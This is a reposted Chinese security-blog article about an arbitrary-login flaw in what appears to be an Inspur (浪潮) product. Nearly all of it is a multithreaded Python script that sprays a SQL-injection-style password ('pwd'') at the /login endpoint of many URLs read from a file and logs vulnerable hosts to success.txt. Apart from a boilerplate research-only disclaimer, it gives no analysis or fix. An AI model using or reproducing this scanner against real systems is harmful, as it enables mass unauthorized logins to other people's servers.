某潮任意用户登录漏洞

admin 2024年12月18日22:05:02评论6 views字数 1131阅读3分46秒阅读模式
import sys,requests,urllib3,threadingurllib3.disable_warnings()lock = threading.Lock()def exp(url):    exp_url = url + '/login'    headers = {        "User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Mobile Safari/537.36"    }    poc ={        'op':'login',        'username':'admin',        'password':"pwd'"    }     try:        ret = requests.post(exp_url,headers=headers,data =poc, timeout=10,verify=False)        if 'unexpected EOF' in ret.text:            lock.acquire()            try:                with open('success.txt','a') as f:                    f.write(exp_url+'n')                    print(url)                lock.release()            except:                lock.release()    except Exception as e:        print(e)        passdef printf():    print('''use: python3 浪潮v4.0.py url.txt''')if __name__ == "__main__":    thread = []    if len(sys.argv) != 2:        printf()        exit(0)    with open(sys.argv[1]) as f:        for url in f:            url = url.replace('n','')            if url.find('http') == -1:                url = 'http://'+url            t = threading.Thread(target=exp,args=(url,))            thread.append(t)            t.start()            if len(thread) > 800:                for i in thread:                    i.join                thread = []

本文始发于微信公众号(Khan安全攻防实验室):某潮任意用户登录漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月18日22:05:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某潮任意用户登录漏洞http://cn-sec.com/archives/534801.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息